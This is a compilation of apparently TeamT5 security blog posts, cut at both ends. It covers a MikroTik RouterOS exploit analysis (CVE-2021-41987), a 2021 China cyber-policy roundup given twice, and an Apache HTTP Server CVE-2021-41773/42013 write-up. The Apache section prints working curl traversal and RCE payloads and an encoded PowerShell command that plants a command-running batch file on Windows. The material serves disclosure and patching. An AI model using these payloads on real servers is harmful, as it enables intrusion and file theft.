在 function 中的參數 message ```'x'*801*4+'hCE'```，會在 base64 解編碼的同時由於前述的計算錯誤，將導致下一個 chunk 的 size 會剛好被覆蓋到。
![Mikrotik 7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119435/Mikrotik_7_d1f398ad3a.png)


#### 嘗試重新取得被覆蓋到 size 的 chunk
後續透過繼續新增請求的方式，嘗試取得被改大的 chunk，overflow 的內容可以改到在 vtable 裡的 pointer。

![Mikrotik 8.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_8_69ec279783.png)


在 ```i=3``` 時，會讓 ```edx``` 的值改成 ```0x8061a74```。
![Mikrotik 9.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_9_0ea232d0c5.png)


#### 觸發 destructor

最後透過關閉連線的方式，觸發 destructor ```call [edx+4]```
![Mikrotik 10.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_10_3d19ac41ab.png)


#### 幸運爆擊
由於一開始的 heap spray，```0x8061a74``` 會變成某個一連線時填入的內容，因此 ```call [edx+4]``` 會變成呼叫 ```0x8058e89```。

![Mikrotik 11.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_11_936def75c5.png)


一旦成功進到 ROP gadget，這個 ROP chain，會將 ```open@got``` 改成 ```mprotect```，使用 gadgets，嘗試把 ```open``` 變成 ```mprotect```。

![Mikrotik 12.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1646119434/Mikrotik_12_85dcd691f7.png)



```0x804fc04: pop esp; ret;``` 會把 ```esp``` 改成 0x8061a74+8，接回完整 ROP chain。 最後呼叫 ```mprotect``` 使執行流進到 shellcode (```0x8061674```) 上執行。

該份 exploit 中 shellcode 的內容為，```unlink('/nova/store/user.dat') + sync() + reboot()```。 等待重新啟動之後可以發現 Web 介面可以不使用密碼直接登入。

### 結論
透過上面的分析可以發現這個攻擊程式碼(exploit)有幾個侷限性：

**1. 穩定性較低**
- 由於 ```add()``` 沒有處理進位，又有 ASLR 的緣故，運氣不好的話將直接導致攻擊失敗。
- 在嘗試重現的過程中我們也發現到，有時候 shellcode 已經正常執行 (```/nova/store/user.dat``` 已經被刪除)，卻未如預期般重新啟動，這部分需要改進 shellcode 來增加成功機率。
- 在嘗試重現的同時，我們也試圖透過修改 exploit 及 shellcode 來增加其穩定性，但最後成功率仍只有約略為 5~6%。
- 唯一值得慶幸的是，倘若攻擊失敗也只是會造成 ```www``` crash 後被 watchdog 重新啟動，並不會對使用上造成太大困擾或是引起使用者注意。

**2. 攻擊前提嚴格**

如根因所述，```scep_server_name``` 須為已知，若沒有這個 path 基本上也無法進行攻擊。

**3. 回報時間軸**

- ```2021/07/11```: 在 C2 發現 exploit code
- ```2021/10/04```: 回報給 Mikrotik 官方, 保留編號 CVE-2021-41987
- ```2021/11/17```: Mikrotik 官方釋出更新修正該弱點
- ```2022/03/01```: 公開 CVE-2021-41987 相關細節

**4. RouterOS 受影響版本**

- ```6.46.8```
- ```6.47.9```
- ```6.47.10```

### 關於 TeamT5 D39 漏洞研究團隊
D39 致力於弱點安全與漏洞挖掘領域，研究範圍包含 Mobile、IOT、Linux、Windows 等有機會連網的系統與裝置都是我們的目標（笑），團隊擁有多項重大（Critical）或重要（Important）之安全漏洞，並於 Blackhat、HITCON、POC 等國際會議擔任講者。

攻擊程式碼(exploit)研究一直是網路攻防裡面最高深的技術之一，TeamT5 期許投入資源來培養更多人才進入這個領域，期待台灣能有越來越多世界頂尖的弱點研究人才。歡迎勇於面對未知挑戰，致力於漏洞研究、挖掘為目標，並具有獨立研究能力者一同加入我們 🤝

### 參考
- https://wiki.mikrotik.com/wiki/Manual:System/Certificates
- https://en.wikipedia.org/wiki/Base64

*首圖來源: Pixabay

Mikrotik 漏洞揭露與通報 (CVE-2021-41987)

# Why should you read this article?
China presents an enormous influence on the cyber threat landscape of the Asia-Pacific region. By analyzing China's cyberspace and regulatory state, one may catch a glimpse of the underlying shift of the cyber ecosystem and threat actors' TTPs and motivations. In this article, our analysts summarized the key incidents that shape China's cyberspace in 2021 and propose some outlooks for future development.
 

## Key Takeaways
1.	2021 was a significant year for Chinese cyberspace, as it marked the start of China's 14th Five-Year Plan (2021-2025). In 2021, China had launched a sweeping tech crackdown and accelerated consolidation of power in reigning everything within the Great Firewall (GFW).
2.	The Chinese regulators had taken high-profile actions against major tech companies, especially those operating social media and commerce platforms. Firms like Alibaba, ByteDance, Tencent, Didi Chuxing, and Meituan have faced record fines and cybersecurity probes. In contrast, "hard tech" companies in strategically critical sectors like Huawei and SMIC have been mainly exempted from regulatory scrutiny.
3.	The Chinese regulators, led by the Cyberspace Administration of China (CAC), introduced and amended a series of regulations to tighten their control over the management and flow of data. The new rules range from privacy protection and data transfer to vulnerabilities disclosure.
4.	International technology firms also faced pressures and censorship from the Chinese regulators. Famous apps like Clubhouse, Signal, and Quran Majeed have been reportedly blocked in China. Besides, companies like LinkedIn and Yahoo have pulled out of China, citing a challenging environment.
5.	With China's expansion of power over cyberspace, stakeholders and cybersecurity practitioners should stay vigilant to their network and asset exposure to China's jurisdiction. Besides, we have observed that China's regulatory campaign were often followed by covert cyber operations. Indicators have shown that 2022 will undoubtedly be another challenging year for Chinese and international tech giants.

# Overview: A Year of Tech Crackdown

2021 was a significant year for Chinese cyberspace, as it marked the start of China's 14th Five-Year Plan (2021-2025). One of the strategy’s ambitions is to tackle monopolies and review regulations related to the digital economy. Over the past year, the Chinese regulators had taken high-profile actions against major tech companies, especially those operate social media and commerce platforms. Prior to 2021, the relationships between the Chinese authorities and the country’s tech giants have been complex and in flux. For many years, the tech regulators had turned a blind eye to some illegal business practices, anti-competitive acts, and tax evasion of the tech giants, because these companies have brought China robust economic growth. However, in 2021, the Chinese regulators had taken high-profile actions against companies including Alibaba, ByteDance, Tencent, Didi Chuxing, and Meituan, levying record-high fines as well as imposing cybersecurity probes and a six-month rectification program. Companies in online gaming, private tutoring, and cryptocurrency were also among the casualties.

What is notable is that all the regulations and probes are directed at the consumer technology sector, rather than “hard tech” companies that are considered by China as strategically critical sectors, such as semiconductor, new materials, new energy, and aeronautics. Therefore, companies Huawei and Semiconductor Manufacturing International Corporation (SMIC) are largely exempted from regulatory scrutiny.

On the other hand, the Chinese regulators, led by the Cyberspace Administration of China (CAC), had introduced and amended a series of regulations to tighten their control over the management and flow of data. For instance, the CAC has implemented the Data Security Law that restricts cross-border data transfers as well as the Personal Information Protection Law which governs data privacy protection. The latter is also regarded as China’s version of the EU’s General Data Protection Regulation (GDPR). Meanwhile, the CAC also announced a new vulnerability disclosure regulation that requires vendors to share vulnerability reports with state agencies within two days. Because of the new law, Alibaba Cloud has faced punishment for not reporting the most serious vulnerability in recent years, Log4Shell, to the Chinese authorities in the first place.

# A More Difficult Environment for Domestic and International Tech Firms

International technology firms also faced pressures and censorship from the Chinese regulators. Famous apps like Clubhouse and Signal have been reportedly blocked in China, as these services allow the online users to exchange ideas without being censored by the Chinese government or Chinese social media platforms. Quran Majeed, a popular app among the Muslim community, was also banned in China, signaling more oppression against the Chinese Uyghurs. Besides, companies like LinkedIn and Yahoo have pulled out of China, citing challenging environment. The abovementioned incidents have indicated that 2022 is very likely to be another difficult year for both domestic and international tech firms.

The following timeline have summed up China’s actions in reigning in the country’s cyberspace in 2021.

# Abbreviations

```
CCP: Chinese Communist Party

CAC: Cyberspace Administration of China

MIIT: Ministry of Industry and Information Technology

SAMR: State Administration for Market Regulation```


# Timeline
## 2021Q1
**January**

- SAMR launched antitrust investigation into Alibaba
- CAC issued a new law to regulate public accounts to combat disinformation and fake traffic



**February**

- SAMR finalized anti-monopoly guidelines
- MIIT drafted new regulations to combat excessive data collection by mobile apps
- US audio-chat app Clubhouse reportedly blocked in China



**March**

- CCP's Two Sessions 2021
- SAMR fined 10 big tech firms for failing to report acquisitions
- CAC issued new rules to tighten supervision over big tech’s collection of user data
- Encrypted messaging app Signal reportedly blocked in China


## 2021Q2
**April**

- SAMR imposed record US$2.8 Billion fine against Alibaba
- CAC launches hotline for netizens to report “illegal” history comments
- SAMR announced investigation into delivery giant Meituan
- CCP reviewed “Data Security Law” and “Personal Information Protection Law”
- CAC issue draft rules on users’ privacy protection of mobile apps



**May**

- CAC called out 84 apps Including Tencent, Alibaba, and Baidu for violating user privacy



**June**

- CCP Passed “Data Security Law” and “Anti- Foreign Sanctions Law”
- China widens cryptocurrency crackdown: mining projects shut down; banks ordered to step up clampdown


## 2021Q3
**July**

- CAC banned Didi Chuxing’s apps after its U.S. IPO
- CAC to amend “Cybersecurity Review Regulations,” tightening controls over foreign-listed firms
- CAC issued new vulnerability disclosure rules
- MIIT launched 6-month rectification program, ordering tech firms to fix anticompetitive, security issues
- 7 Chinese agencies sent officials to conduct on-site cybersecurity inspections at Didi Chuxing



**August**

- Chinese state media labeled online gaming “spiritual opium” and called out Tencent
- CAC drafted "Personal Information Protection Law"
- CAC launched regulations to protect critical information infrastructure
- China orders state firms to migrate to government cloud services



**September**

- CAC launched “Security Threat Information Sharing Platform” for reporting vulnerabilities
- CAC ruled all crypto-related transactions illegal


## 2021Q4
**October**

- LinkedIn shut down operation in China as compliance challenges increase
- CAC banned cross border transfer of core industrial and telecoms data
- China bans Quran Majeed, one of the most popular Quran apps in the world



**November**

- Personal Information Protection Law (PIPL) took effect
- Yahoo pulled out of China, citing 'challenging' environment
- China suspended Tencent apps update and limiting use in state-run firms
- China to ban business use of WeChat and Alipay personal payment QR codes
- China censored tennis star Peng Shuai over sexual assault claims against CCP high-ranking official



**December**

- CAC issued rules to block foreign religious content online
- MIIT suspended cooperation with Alibaba Cloud, citing delayed report of Log4j2 vulnerability
- Didi Global delisted from the NYSE
- CAC fined Weibo for publishing illegal information


# Outlook: China's Endless Pursuit of Cyber Power and Regulatory Control
So far, there is no indication that the Chinese government will loosen up its grip over the tech firms. With China’s expansion of power over cyberspace, stakeholders and cybersecurity practitioners should stay vigilant to the exposure of their network and asset to China’s jurisdiction. On the other hand, we have observed that China's regulatory campaign were often followed by covert cyber operations. For instance, our telemetry had previously detected that China-nexus Advanced Persistent Threat (APT) groups targeted companies and organizations which were on the list of China's anti-corruption campaign.

The political landscape in China heavily influences the country's strategy in reigning its cyberspace. In August 2022, the Chinese Communist Party (CCP) will be hosting its 20th Party Congress, where the party’s leadership and policy agenda for the next five years will be announced. It is no surprise that the Chinese authorities will continue the enforcement actions, furthering tech crackdown under the name of “common prosperity” and consolidating the state’s position as the country’s most powerful cyber player.



*Image courtesy of Pixabay

China’s Cyber Power Intel Roundup 2021: Tech Crackdown, Regulatory Storm, and Power Expansion

> 中國對亞太地區的網路環境具有極高度影響力。透過分析中國的網路空間與監管作法，人們得以瞥見中國網路生態系的轉變，及網路攻擊行動者的動機與所使用之戰術、技術與流程（tactics, techniques, and procedures, TTP）。本文中，TeamT5 資安威脅情資分析師團隊總結形塑了2021年中國網路空間的關鍵事件，並提出對未來發展態勢的看法。

# Why should you read this article?
China presents an enormous influence on the cyber threat landscape of the Asia-Pacific region. By analyzing China's cyberspace and regulatory state, one may catch a glimpse of the underlying shift of the cyber ecosystem and threat actors' TTPs and motivations. In this article, our analysts summarized the key incidents that shape China's cyberspace in 2021 and propose some outlooks for future development.

## Key Takeaways
1.	2021 was a significant year for Chinese cyberspace, as it marked the start of China's 14th Five-Year Plan (2021-2025). In 2021, China had launched a sweeping tech crackdown and accelerated consolidation of power in reigning everything within the Great Firewall (GFW).
2.	The Chinese regulators had taken high-profile actions against major tech companies, especially those operating social media and commerce platforms. Firms like Alibaba, ByteDance, Tencent, Didi Chuxing, and Meituan have faced record fines and cybersecurity probes. In contrast, "hard tech" companies in strategically critical sectors like Huawei and SMIC have been mainly exempted from regulatory scrutiny.
3.	The Chinese regulators, led by the Cyberspace Administration of China (CAC), introduced and amended a series of regulations to tighten their control over the management and flow of data. The new rules range from privacy protection and data transfer to vulnerabilities disclosure.
4.	International technology firms also faced pressures and censorship from the Chinese regulators. Famous apps like Clubhouse, Signal, and Quran Majeed have been reportedly blocked in China. Besides, companies like LinkedIn and Yahoo have pulled out of China, citing a challenging environment.
5.	With China's expansion of power over cyberspace, stakeholders and cybersecurity practitioners should stay vigilant to their network and asset exposure to China's jurisdiction. Besides, we have observed that China's regulatory campaign were often followed by covert cyber operations. Indicators have shown that 2022 will undoubtedly be another challenging year for Chinese and international tech giants.

# Overview: A Year of Tech Crackdown
2021 was a significant year for Chinese cyberspace, as it marked the start of China's 14th Five-Year Plan (2021-2025). One of the strategy’s ambitions is to tackle monopolies and review regulations related to the digital economy. Over the past year, the Chinese regulators had taken high-profile actions against major tech companies, especially those operate social media and commerce platforms. Prior to 2021, the relationships between the Chinese authorities and the country’s tech giants have been complex and in flux. For many years, the tech regulators had turned a blind eye to some illegal business practices, anti-competitive acts, and tax evasion of the tech giants, because these companies have brought China robust economic growth. However, in 2021, the Chinese regulators had taken high-profile actions against companies including Alibaba, ByteDance, Tencent, Didi Chuxing, and Meituan, levying record-high fines as well as imposing cybersecurity probes and a six-month rectification program. Companies in online gaming, private tutoring, and cryptocurrency were also among the casualties.

What is notable is that all the regulations and probes are directed at the consumer technology sector, rather than “hard tech” companies that are considered by China as strategically critical sectors, such as semiconductor, new materials, new energy, and aeronautics. Therefore, companies Huawei and Semiconductor Manufacturing International Corporation (SMIC) are largely exempted from regulatory scrutiny.

On the other hand, the Chinese regulators, led by the Cyberspace Administration of China (CAC), had introduced and amended a series of regulations to tighten their control over the management and flow of data. For instance, the CAC has implemented the Data Security Law that restricts cross-border data transfers as well as the Personal Information Protection Law which governs data privacy protection. The latter is also regarded as China’s version of the EU’s General Data Protection Regulation (GDPR). Meanwhile, the CAC also announced a new vulnerability disclosure regulation that requires vendors to share vulnerability reports with state agencies within two days. Because of the new law, Alibaba Cloud has faced punishment for not reporting the most serious vulnerability in recent years, Log4Shell, to the Chinese authorities in the first place.

# A More Difficult Environment for Domestic and International Tech Firms

International technology firms also faced pressures and censorship from the Chinese regulators. Famous apps like Clubhouse and Signal have been reportedly blocked in China, as these services allow the online users to exchange ideas without being censored by the Chinese government or Chinese social media platforms. Quran Majeed, a popular app among the Muslim community, was also banned in China, signaling more oppression against the Chinese Uyghurs. Besides, companies like LinkedIn and Yahoo have pulled out of China, citing challenging environment. The abovementioned incidents have indicated that 2022 is very likely to be another difficult year for both domestic and international tech firms.

The following timeline have summed up China’s actions in reigning in the country’s cyberspace in 2021.

# Abbreviations

```
CCP: Chinese Communist Party

CAC: Cyberspace Administration of China

MIIT: Ministry of Industry and Information Technology

SAMR: State Administration for Market Regulation```


# Timeline
## 2021Q1
**January**

- SAMR launched antitrust investigation into Alibaba
- CAC issued a new law to regulate public accounts to combat disinformation and fake traffic



**February**

- SAMR finalized anti-monopoly guidelines
- MIIT drafted new regulations to combat excessive data collection by mobile apps
- US audio-chat app Clubhouse reportedly blocked in China



**March**

- CCP's Two Sessions 2021
- SAMR fined 10 big tech firms for failing to report acquisitions
- CAC issued new rules to tighten supervision over big tech’s collection of user data
- Encrypted messaging app Signal reportedly blocked in China


## 2021Q2
**April**

- SAMR imposed record US$2.8 Billion fine against Alibaba
- CAC launches hotline for netizens to report “illegal” history comments
- SAMR announced investigation into delivery giant Meituan
- CCP reviewed “Data Security Law” and “Personal Information Protection Law”
- CAC issue draft rules on users’ privacy protection of mobile apps



**May**

- CAC called out 84 apps Including Tencent, Alibaba, and Baidu for violating user privacy



**June**

- CCP Passed “Data Security Law” and “Anti- Foreign Sanctions Law”
- China widens cryptocurrency crackdown: mining projects shut down; banks ordered to step up clampdown


## 2021Q3
**July**

- CAC banned Didi Chuxing’s apps after its U.S. IPO
- CAC to amend “Cybersecurity Review Regulations,” tightening controls over foreign-listed firms
- CAC issued new vulnerability disclosure rules
- MIIT launched 6-month rectification program, ordering tech firms to fix anticompetitive, security issues
- 7 Chinese agencies sent officials to conduct on-site cybersecurity inspections at Didi Chuxing



**August**

- Chinese state media labeled online gaming “spiritual opium” and called out Tencent
- CAC drafted "Personal Information Protection Law"
- CAC launched regulations to protect critical information infrastructure
- China orders state firms to migrate to government cloud services



**September**

- CAC launched “Security Threat Information Sharing Platform” for reporting vulnerabilities
- CAC ruled all crypto-related transactions illegal


## 2021Q4
**October**

- LinkedIn shut down operation in China as compliance challenges increase
- CAC banned cross border transfer of core industrial and telecoms data
- China bans Quran Majeed, one of the most popular Quran apps in the world



**November**

- Personal Information Protection Law (PIPL) took effect
- Yahoo pulled out of China, citing 'challenging' environment
- China suspended Tencent apps update and limiting use in state-run firms
- China to ban business use of WeChat and Alipay personal payment QR codes
- China censored tennis star Peng Shuai over sexual assault claims against CCP high-ranking official



**December**

- CAC issued rules to block foreign religious content online
- MIIT suspended cooperation with Alibaba Cloud, citing delayed report of Log4j2 vulnerability
- Didi Global delisted from the NYSE
- CAC fined Weibo for publishing illegal information


# Outlook: China's Endless Pursuit of Cyber Power and Regulatory Control
So far, there is no indication that the Chinese government will loosen up its grip over the tech firms. With China’s expansion of power over cyberspace, stakeholders and cybersecurity practitioners should stay vigilant to the exposure of their network and asset to China’s jurisdiction. On the other hand, we have observed that China's regulatory campaign were often followed by covert cyber operations. For instance, our telemetry had previously detected that China-nexus Advanced Persistent Threat (APT) groups targeted companies and organizations which were on the list of China's anti-corruption campaign.

The political landscape in China heavily influences the country's strategy in reigning its cyberspace. In August 2022, the Chinese Communist Party (CCP) will be hosting its 20th Party Congress, where the party’s leadership and policy agenda for the next five years will be announced. It is no surprise that the Chinese authorities will continue the enforcement actions, furthering tech crackdown under the name of “common prosperity” and consolidating the state’s position as the country’s most powerful cyber player.


*圖片來源: Pixabay



中國網路威脅之2021年情資綜述: 打壓科技巨頭、監管風暴、權力擴張

# **前言**

Apache HTTP Server 是一個開放原始碼的網頁伺服器軟體，由於其跨平台和方便性，被廣泛使用的 Web 伺服器軟體之一。而近期 Apache HTTP Server 被揭露出兩個高風險漏洞（CVE-2021-41773 以及 CVE-2021-42013），大部分網路上揭露的漏洞利用細節都是著重於 Linux 系統為主，但我們知道 Windows 其實也存在此漏洞問題，我們將於本文揭露完整漏洞利用細節，並且提醒大家務必儘早將 Apache 更新至最新版本，以免落入駭客攻擊的目標！

![meme.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/meme_c7a9e6fc2c.jpg)

## **弱點說明**

研究人員發現 Apache 伺服器存在漏洞，攻擊者可藉由發送特製的 HTTP 請求，利用此漏洞來達成路徑列舉或遠端程式碼執行的攻擊效果，以下是使用 CURL 指令實做的 Linux 攻擊程式碼(Payload)：

攻擊成效一：任意下載系統檔案(Path Traversal)

```curl -s --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/
etc/passwd"
```

攻擊成效二：遠端程式碼執行(Remote Code Execution)

```curl -s -d "echo;id" --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/
bin/sh"
```

**漏洞成因**

首先，我們以上面攻擊語法為例，在 Apache 2.4.50 並未妥善修正弱點，故可以使用 double encode 的方式，通殺兩個弱點（CVE-2021-41773 和 CVE-2021-42013），原因是 Apache 在處理外部 HTTP 請求時，會呼叫 ap_process_request_internal 函式對 url 路徑進行處理，在該函式中，首先會呼叫 ap_normalize_path 函式進行一次 url 解碼，之後會呼叫 ap_unescape_url 函式進行二次解碼，可以看圖一為 Apache 2.4.50 未完善修補漏洞的關鍵程式碼，我們可以看到原本第 571 行並沒有檢查編碼後的路徑跳脫，所以從 576 行開始，加上了相對應的檢查，但是檢查仍不完善可透過 double encode 的方式繞過。

![pic 1_new](https://res.cloudinary.com/dvgomg5gh/image/upload/v1641285777/Image_Pasted_at_2022_1_4_15_54_6cee7732be.png)
<center>圖一：Apache 2.4.49 和 2.4.50 程式碼 diff</center>

攻擊語法經過兩次 Decode 過程：

```
http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32
%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh
```

```
http://127.0.0.1/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/
%2e%2e/%2e%2e/%2e%2e/bin/sh
```

所以最後會將此 URI Decode 為：

```
http://127.0.0.1/icons/../../../../../../../../../../bin/sh
```

因此，透過上面的簡單說明，我們可以看到原本 Apache 對於使用者傳入的路徑，並沒有完善的檢查路徑跳脫，導致可讓攻擊者輸入惡意 payload 達成攻擊效果。

接下來的重點，我們將來探討 Windows 平台的利用方式及案例：

## **PoC on Windows**

- 我們從官網下載 Apache 並架設為攻擊靶機（IP: 192.168.56.161）

**攻擊成效一：任意下載系統檔案（Path Traversal）**

下圖二範例為讀取 C:/Windows/win.ini 檔案內容

![pic 2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157683/pic_2_792d054cbf.png)
<center>圖二：任意下載系統檔案</center>

**攻擊成效二：遠端程式碼執行（Remote Code Execution）**

1. 透過 cmd.exe 執行 powershell，將 c.bat 寫入 C:\Users\Public\，因為 cgi 程式沒有正確的 http header response，所以會 apache 回覆 status code 500，但其實 script 已經執行成功，請參考下圖三。
![pic 3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157684/pic_3_3f12f57192.png)
<center>圖三：執行結果畫面</center>

2. 接下來可以透過 c.bat 去執行任意指令，並看到執行結果（如圖四）

![pic 4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157683/pic_4_b195f466cb.png)
<center>圖四：執行結果畫面</center>

此為透過 Process Monitor 工具，記錄下來的程式執行流程（圖五）：

![pic 5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157683/pic_5_c18bad34ee.png)
<center>圖五：Process Monitor 畫面圖</center>

Process Monitor 程式執行結果圖，仔細觀察會發現執行指令包含特殊字元時，會被雙引號刮起來，e.g. : ```cmd.exe "/c powershell.exe -NoProfile -EncodedCommand ..."```，因為 cmd.exe 的一些特性，導致指令可以正常執行。

**cmd.exe magic parser**

為了研究Payload為什麼帶了引號還能執行，因此我們延伸分析了cmd遇到不同引號的解析結果

- help documentation

![pic 6-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1641286924/pic_6_2_f1ab2bc981.png)

<center>圖六：cmd 執行畫面</center>

- Surprise!

![pic 7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/pic_7_f58e914086.png)

<center>圖七：cmd 執行畫面</center>

| **Command ** | **Similar** |
|---|---|
|```cmd.exe "/c dir"```|```cmd.exe /c dir"```|
|```cmd.exe "/c dir "```|```cmd.exe /c dir "```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/c dir```|```cmd.exe /c dir```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/c dir "```|```cmd.exe /c dir "```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/cdir```|```cmd.exe /c dir```|


**cmd with powershell.exe**

| **Command ** | **Result ** |
|---|---|
|```powershell.exe -c write-output 1```|```1```|
|```powershell.exe -c write-output "1```|```1```|
|```powershell.exe -c write-output 1"```|```1```|
|```powershell.exe -c write-output ""1```|```1```|
|```powershell.exe -c write-output 1""```|```1```|
|```powershell.exe -c write-output """```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output "1""```|```	The string is missing the terminator: ".```|
|```powershell.exe -c write-output ""1"```|```1```|
|```powershell.exe -c write-output "1"1"```|```11```|
|```powershell.exe -c write-output """"```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output "1""1"```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output """""```|```	The string is missing the terminator: ".```|
|```powershell.exe -c write-output """1"""```|```1```|
|```powershell.exe -c write-output """"1"""```|```1```|
|```powershell.exe -c write-output """1""""```|```1```|
|```powershell.exe -c write-output """1"""""```|```1```|
|```powershell.exe -c write-output """""1"""```|```1```|
|```powershell.exe -c write-output """1""""""2"""```|```1"2```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAiADEA```|```The string is missing the terminator: ".```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en d""wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en d"wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en "dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA=="```|```1```|
|```powershell.exe -en ""dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==""```|```1```|
|```powershell.exe -en "d"wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA=="```|```1```|


**powershell write C:\Users\Public\c.bat**

以下為 Powershell script 編碼後的內容：

- JABzAHQAcgA9AEAAIgANAAoAQABlAGMAaABvACAAbwBmAGYAIAAmACYAIABlAGMAaABvACAAQwBvAG4AdABlAG4AdAAtAHQAeQBwAGUAOgB0AGUAeAB0AC8AcABsAGEAaQBuACAAJgAmACAAZQBjAGgAbwAuAA0ACgBlAGMAaABvACAAJQAxAA0ACgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAE4AbwBMAG8AZwBvACAALQBOAG8AUAByAG8AZgBpAGwAZQAgAC0AQwBvAG0AbQBhAG4AZAAgACIAJQAxACAAfAAgAE8AdQB0AC0AZgBpAGwAZQAgAC0ARQBuAGMAbwBkAGkAbgBnACAAdQB0AGYAOAAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXAByAC4AdAB4AHQAIgANAAoAdAB5AHAAZQAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgBkAGUAbAAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgAiAEAADQAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABzAHQAcgAgAHwAIABPAHUAdAAtAGYAaQBsAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAGEAcwBjAGkAaQAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABjAC4AYgBhAHQA

此為 Powershell script 解碼後的內容：

```
$str=@"
@echo off && echo Content-type:text/plain && echo.
echo %1
powershell.exe -NoLogo -NoProfile -Command "%1 | Out-file -Encoding utf8 -FilePath C:\Users\Public\r.txt"
type C:\Users\Public\r.txt
del C:\Users\Public\r.txt
"@
Write-Output $str | Out-file -Encoding ascii -FilePath C:\Users\Public\c.bat
```



## **影響與建議**
- 建議將 Apache 更新至最新版本



## **附錄 cgi-bin how to work**

- 網路上大部分的 Linux PoC 都是使用 POST data 的方式, 這裡則是使用 GET parameter, 特此說明其中的差異.

## demo.bat
```
@echo off && echo Content-type:text/plain && echo.
echo %1
```

## test with demo.bat

- 遠端測試
![遠端測試.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/_9ed6e42028.png)



- 解碼無法印出字元
![解碼無法印出字元.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/_c9e8a9fbfe.png)



- 與實際上系統執行結果一致
![與實際上系統執行結果一致.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/_048619bbc1.png)



## **參考資料**

- [Apache HTTP Server 2.4 vulnerabilities - The Apache HTTP Server Project](https://httpd.apache.org/security/vulnerabilities_24.html)
- [Florian Roth ⚡️ 在 Twitter 上：“I have summarized the Apache path normalization clusterfuck for you https://t.co/FkwDf4qDxH” / Twitter](https://twitter.com/cyb3rops/status/1446893960950128644)
- [Akamai Blog | Mitigating CVE-2021-41773: Apache HTTP Server Path Traversal](https://www.akamai.com/blog/news/how-akamai-helps-you-protect-against-0-days)

*首圖來源: [Pixabay](https://pixabay.com/photos/highway-road-tornado-lightning-5433087/)

Apache HTTP Server(Windows) 2021高風險安全漏洞詳解

# **Prologue**

Apache HTTP Server has been the gold standard across the world for decades due to its cross-platform nature and ease-of-use and therefore, it is also the target of plenty of threat actors and exploit researchers. Given the recent disclosure of CVE-2021-41773 and CVE-2021-42013 and the nature of its high severity, numerous outlets have already made a writeup for demonstrating their capabilities.

However, since most of the writeups have primarily focused on the Linux aspect of the vulnerabilities, some may not be aware that platforms such as Windows is just as vulnerable as well. In the following post, we’ll go over how these vulnerabilities can be utilized against Windows hosts with vulnerable Apache HTTP Server.

![meme.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/meme_c7a9e6fc2c.jpg)

## **How Does it Work?**

Researchers found that by crafting a special HTTP request, Apache HTTP server can be tricked into creating a path traversal attack or remote code execution (RCE). The following curl commands demonstrate how these two attack methods can be recreated :

Payload 1: Local file inclusion via path traversals

```curl -s --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
